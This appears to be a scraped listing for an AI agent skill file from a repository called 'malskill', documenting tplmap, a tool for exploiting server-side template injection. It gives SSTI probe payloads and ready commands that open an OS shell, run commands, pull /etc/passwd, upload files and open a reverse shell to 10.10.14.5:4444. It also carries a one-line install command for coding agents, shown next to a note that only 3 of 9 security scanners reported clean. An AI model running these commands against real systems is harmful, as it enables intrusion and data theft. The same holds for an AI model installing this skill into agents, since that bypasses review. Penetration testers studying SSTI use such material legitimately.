offensive-tools/vuln-scanners/tplmap/SKILL.md
Auth/lab ref: classic server-side template injection and code injection detection/exploitation tool for black-box web testing.
npx skillsauth add aeondave/malskill tplmapInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Legacy SSTI and code-injection exploitation tool.
Upstream explicitly marks tplmap as no longer maintained. Keep it for:
Prefer sstimap for actively maintained modern SSTI work, but keep tplmap available because many operators and challenge environments still reference it directly.
git clone https://github.com/epinna/tplmap
cd tplmap
pip install -r requirements.txt
# Probe a reflected parameter
./tplmap.py -u 'http://target/page?name=John'
Once an injection point is confirmed, tplmap can expose capabilities such as:
Manual confirmation often looks like:
{{7*7}}${7*7}<%= 7*7 %>#{7*7}If the server evaluates instead of reflecting raw input, hand the endpoint to tplmap.
./tplmap.py -u 'http://target/page?name=John'
Upstream shows tplmap identifying:
./tplmap.py --os-shell -u 'http://target/page?name=John'
./tplmap.py --os-cmd 'id' -u 'http://target/page?name=John'
./tplmap.py --download /etc/passwd passwd.txt -u 'http://target/page?name=John'
./tplmap.py --upload local.txt /tmp/remote.txt -u 'http://target/page?name=John'
./tplmap.py --reverse-shell 10.10.14.5 4444 -u 'http://target/page?name=John'
Tplmap supports a broad historical set, including:
Upstream also documents important negative cases, such as modern Twig or secured Smarty scenarios where tplmap will not help.
sstimap or manual exploitation.No bundled scripts/, references/, or assets/.
Use upstream README for exact legacy options and engine-specific support notes.
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.